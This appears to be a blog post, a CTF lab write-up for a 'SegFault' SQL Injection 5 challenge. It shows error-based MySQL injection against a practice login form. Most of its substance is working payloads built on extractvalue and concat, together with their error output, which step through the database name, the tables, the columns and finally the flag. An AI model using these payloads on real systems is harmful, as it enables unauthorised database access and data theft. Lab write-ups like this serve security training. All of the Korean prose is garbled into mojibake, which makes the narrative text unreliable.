Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (SQLi) - SQL Injection 5

Gearvirus(junyup2) 2023. 12. 7. 16:01

[SegFault] (SQLi)

SQL Injection 5

Flag ์ฐพ์œผ์„ธ์š”! ์ธ๋‚ด์‹ฌ์„ ๊ฐ€์ง€์„ธ์š”! ใ…‹ใ…‹ใ…‹ใ…‹

๋ฌธ์ œ ํŒŒ์•…

์œ„์˜ ํŽ˜์ด์ง€์— ๋“ค์–ด๊ฐ€๋ฉด ์•„๋ž˜์™€ ๊ฐ™์€ ์ฐฝ์ด ๋‚˜์˜จ๋‹ค.

์šฐ์„  ์ฃผ์–ด์ง„ ๊ณ„์ • ์ •๋ณด๋กœ ๋กœ๊ทธ์ธ ํ•ด๋ณด์ž.

๊ณ„์ • ์ •๋ณด : normaltic / 1234

 

๋กœ๊ทธ์ธ ํ•˜๋ฉด  ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŽ˜์ด์ง€๋กœ ๋„˜์–ด๊ฐ„๋‹ค.

๋กœ๊ทธ์ธ ํ›„์— ๋ดค์„๋•Œ ๋”ฑํžˆ ์ž…๋ ฅ ๋ถ€๋ถ„์ด ๋ณด์ด์ง€ ์•Š๋Š”๋‹ค.

๊ทธ๋ ‡๋‹ค๋ฉด ๋กœ๊ทธ์ธ ์ฐฝ์—์„œ SQL Injection์ด ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•ด๋ณด์ž.

 

SQL Injection Point

'and'1'='1 ์„ ๋„ฃ์–ด์ค€ ์ƒํƒœ๋กœ๋„ ์ •์ƒ ๋™์ž‘ํ•˜๋Š”์ง€ ํ™•์ธํ•œ๋‹ค.

normaltic'and'1'='1 / 1234

์œ„์˜ id / pw๋กœ๋„ ๋กœ๊ทธ์ธ๋˜๋Š”์ง€ ํ™•์ธํ•œ ๊ฒฐ๊ณผ ์ •์ƒ์ ์œผ๋กœ ๋กœ๊ทธ์ธ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ๋‹ค.

๊ทธ๋ ‡์ง€๋งŒ ์—ฌ๊ธฐ์„œ ๋กœ๊ทธ์ธ์— ๋Œ€ํ•œ ๊ฒฐ๊ณผ ์™ธ์— SQL Injection ๋ฐฉ์‹์„ ๊ฒฐ์ •ํ•  ๋ฐฉ๋ฒ•์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค.

๊ทธ๋ž˜์„œ ' ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ' ์˜ ๊ฐœ์ˆ˜๊ฐ€ ๋งž์ง€ ์•Š๋„๋ก ์œ ๋„ํ•˜์—ฌ syntax error๋ฅผ ๋ฐœ์ƒ์‹œ์ผœ๋ณธ๋‹ค.

๊ทธ ๊ฒฐ๊ณผ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๊ฐ€ ๋กœ๊ทธ์ธ์ฐฝ ํ•˜๋‹จ๋ถ€์— ๊ทธ๋Œ€๋กœ ๋…ธ์ถœ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

์ด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ Error Based SQL Injection์˜ ์ง„ํ–‰ ์ ˆ์ฐจ(Process)์— ๋”ฐ๋ผ ์ง„ํ–‰ํ•œ๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

1. SQL Injection Point ์ฐพ๊ธฐ

์œ„์—์„œ Error ์ •๋ณด๊ฐ€ ํ™”๋ฉด์— ๋…ธ์ถœ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค.

 

2. Error๋ฅผ ์œ ๋ฐœํ•˜๋Š” ํ•จ์ˆ˜

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ MySQL์„ ์‚ฌ์šฉํ•œ๋‹ค. MySQL์˜ ์—๋Ÿฌ ์œ ๋ฐœ ํ•จ์ˆ˜๋Š” extractvalue ์ด๋‹ค.

 

3. ๊ณต๊ฒฉ Format ์ž‘์„ฑํ•˜๊ธฐ

' and extractvalue('1',concat(0x3a,(______))) and '1'='1

์ด์ œ ์œ„์˜ ๋นˆ์นธ์— ์›ํ•˜๋Š” SQL ๊ตฌ๋ฌธ์„ ์‚ฝ์ž…ํ•˜๋ฉด ๋œ๋‹ค.

 

4. DB ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

์–ด๋–ค TABLE๊ณผ COLUMN์ด ์žˆ๋Š”์ง€ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•ด ์–ด๋–ค DB๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ๋ถ€ํ„ฐ ํ™•์ธํ•œ๋‹ค.

' and extractvalue('1',concat(0x3a,(select database()))) and '1'='1

Could not update data: XPATH syntax error: ':sqli_2_2'

๊ทธ ๊ฒฐ๊ณผ DB ์ด๋ฆ„์€ sqli_2_2 ์ž„์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

5. Table ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

Table์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•œ ์ฟผ๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

select table_name from information_schema.tables where table_schema = 'sqli_2_2'

์œ„์˜ ์ฟผ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ Format์— ๋‹ด์•„ ์ž…๋ ฅํ•ด๋ณธ๋‹ค.

' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema = 'sqli_2_2'))) and '1'='1

๊ทธ ๊ฒฐ๊ณผ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜์˜€๋‹ค.

Could not update data: Subquery returns more than 1 row

์—๋Ÿฌ์˜ ๋‚ด์šฉ์„ ๋ณด๋ฉด ์—ฌ๋Ÿฌํ–‰์ด ๋‚˜์˜ค๊ธฐ ๋•Œ๋ฌธ์— ๋ฐœ์ƒํ•œ ์—๋Ÿฌ๋กœ ํ™•์ธ๋˜์—ˆ๋‹ค.

limit์„ ์ด์šฉํ•˜์—ฌ ํ•œ์ค„์”ฉ๋งŒ ์ถœ๋ ฅํ•ด์ค„ ํ•„์š”๊ฐ€ ์žˆ์–ด ๋ณด์ธ๋‹ค.

๊ทธ์ „์— TABLE์˜ ๊ฐœ์ˆ˜๋ฅผ ํ™•์ธํ•ด ๋ณด๋„๋กํ•˜์ž.

' and extractvalue('1',concat(0x3a,(select count(table_name) from information_schema.tables where table_schema = 'sqli_2_2'))) and '1'='1

๊ทธ ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

2๊ฐœ์˜ Table์ด ์กด์žฌํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค. ๊ทธ๋Ÿผ ๊ฐ๊ฐ์˜ ์ด๋ฆ„์„ limit (0~1)์„ ํ†ตํ•ด ํ™•์ธํ•ด๋ณด์ž.

select table_name from information_schema.tables where table_schema = 'sqli_2_2' limit 0,1

์ด๋ฅผ ๊ณต๊ฒฉ Format์— ๋‹ด์— ์ž…๋ ฅํ•ด์ฃผ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜จ๋‹ค.

flagTable_this ์™€ member์ด๋ผ๋Š” TABLE์ด ํ™•์ธ๋˜์—ˆ๋‹ค.

 

6. Column ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

์šฐ์„  ์ด๋ฆ„์ด ์˜์‹ฌ์Šค๋Ÿฌ์šด flagTable_this ๋ถ€ํ„ฐ ํ™•์ธํ•ด๋ณด๊ธฐ๋กœ ํ•œ๋‹ค.

์ผ๋‹จ ํ•ด๋‹น TABLE ๋‚ด๋ถ€์— ๋ช‡ ๊ฐœ์˜ COLUMN์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ด๋ณธ๋‹ค.

' and extractvalue('1',concat(0x3a,(select count(column_name) from information_schema.columns where table_name = 'flagTable_this'))) and '1'='1

 

๊ทธ ๊ฒฐ๊ณผ 2๊ฐœ์˜ flagTable_this TABLE์€ COLUMN์œผ๋กœ ์ด๋ฃจ์–ด์ง„ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

limit (0~1)์„ ์ด์šฉํ•˜์—ฌ COLUMN ์ด๋ฆ„๋“ค์„ ํ™•์ธํ•ด๋ณด์ž.

select column_name from information_schema.columns where table_name = 'flagTable_this' limit 0,1

์œ„์˜ ์ฟผ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ Format์— ๋‹ด์•„ ์ž…๋ ฅํ•ด์ค€๋‹ค.

' and extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name = 'flagTable_this' limit 0,1))) and '1'='1

๊ทธ ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

2๊ฐœ์˜ COLUMN์€ ๊ฐ๊ฐ idx ์™€ flag ์˜€๋‹ค.

 

7. Data ์ถœ๋ ฅํ•˜๊ธฐ

์šฐ์„  flag COLUMN๋ถ€ํ„ฐ ํ™•์ธํ•ด๋ณด๋„๋ก ํ•œ๋‹ค.

๋จผ์ € flag COLUMN ๋‚ด๋ถ€์˜ DATA์˜ ๊ฐœ์ˆ˜๋ฅผ ํ™•์ธํ•ด๋ณด์ž.

' and extractvalue('1',concat(0x3a,(select count(flag) from flagTable_this))) and '1'='1

 

๊ทธ ๊ฒฐ๊ณผ๋Š” ๋ฌด๋ ค 17๊ฐœ๋‚˜ ๋˜์—ˆ๋‹ค. (์ธ๋‚ด์‹ฌ์„ ๊ฐ€์ง€๋ผ๋Š” ์ด์œ ๋ฅผ ์•Œ๊ฒ ๋‹ค.)

limit (0 ~ 16)์„ ์ˆœ์„œ๋Œ€๋กœ ํ™•์ธํ•ด๋ณด์ž.

16๊ฐœ์˜ ๋”๋ฏธ ๋ฐ์ดํ„ฐ์™€ ํ•จ๊ป˜ 13/16 ๋ฒˆ์งธ์—์„œ flag๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

๊ฒฐ๊ณผ์ ์œผ๋กœ Error Based SQLi๋ฅผ ํ†ตํ•ด flag๋ฅผ ํš๋“ํ•˜๋Š”๋ฐ ์„ฑ๊ณตํ•˜์˜€๋‹ค.


์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜